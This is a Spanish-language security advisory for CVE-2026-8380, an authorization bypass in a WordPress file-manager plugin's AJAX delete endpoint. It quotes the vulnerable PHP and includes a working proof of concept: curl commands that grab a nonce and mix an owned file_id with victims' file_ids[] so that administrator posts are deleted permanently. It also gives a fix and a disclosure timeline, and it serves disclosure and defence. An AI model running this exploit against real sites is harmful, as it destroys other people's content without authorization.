
CVE-2026-8380
Se identificó una falla crítica de autorización en el plugin de WordPress Frontend File Manager (nmedia-user-file-uploader) que afecta a las versiones <= 23.6.
La vulnerabilidad permite a usuarios autenticados con privilegios bajos eliminar permanentemente entradas, páginas, archivos adjuntos y tipos de entrada personalizados arbitrarios de WordPress debido a una validación de autorización incorrecta en el endpoint de eliminación AJAX.
Cuando la opción del plugin _allow_guest_upload=yes está habilitada, la vulnerabilidad puede ser explotada por atacantes no autenticados.
nmedia-user-file-uploader)El plugin contiene una vulnerabilidad crítica de omisión de autorización que permite la eliminación arbitraria de contenido de WordPress mediante una validación de parámetros incongruente dentro de la acción AJAX wpfm_delete_file.
La vulnerabilidad fue validada con éxito en un entorno de laboratorio controlado mediante la explotación activa de una Prueba de Concepto.
También se identificaron debilidades de seguridad adicionales durante la investigación:
_allow_guest_upload desactiva las comprobaciones de autorización en múltiples endpointsREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
La comprobación de autorización valida la propiedad utilizando el parámetro en singular:
$_POST['file_id']
Sin embargo, la operación de eliminación real itera sobre un parámetro diferente:
$_POST['file_ids[]']
Debido a esta discrepancia, un atacante puede:
file_idfile_ids[]No existe validación que garantice:
file_ids[]post_type permitidofile_id y file_ids[]Como resultado, cualquier contenido de WordPress puede ser eliminado permanentemente.
Un usuario autenticado con privilegios mínimos puede eliminar permanentemente:
La eliminación se realiza con:
wp_delete_post($file_id, true);
Lo que significa que el contenido se elimina permanentemente sin recuperación desde la Papelera.
Si _allow_guest_upload=yes está habilitado:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
El atacante visita una página que contiene el shortcode:
[ffmwp]
Extraer el nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Respuesta:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Parámetro | Descripción |
|---|---|
file_id=57 | Entrada propiedad del suscriptor utilizada para omitir la autorización |
file_ids[]=60 | Página del administrador víctima |
file_ids[]=61 | Entrada del administrador víctima |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Valide la propiedad y el tipo de entrada para cada elemento dentro de file_ids[].
Ejemplo de implementación segura:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Evento | Fecha |
|---|---|
| Vulnerabilidad descubierta | 2026-05-28 |
| Contacto con el proveedor | 2026-05-28 |
| Publicado por WPScan | 2026-06-04 |
| Divulgación pública | 2026-06-18 |
Esta investigación se realizó en un entorno de laboratorio controlado únicamente con fines educativos y de investigación en seguridad.
No pruebe sistemas sin la autorización adecuada.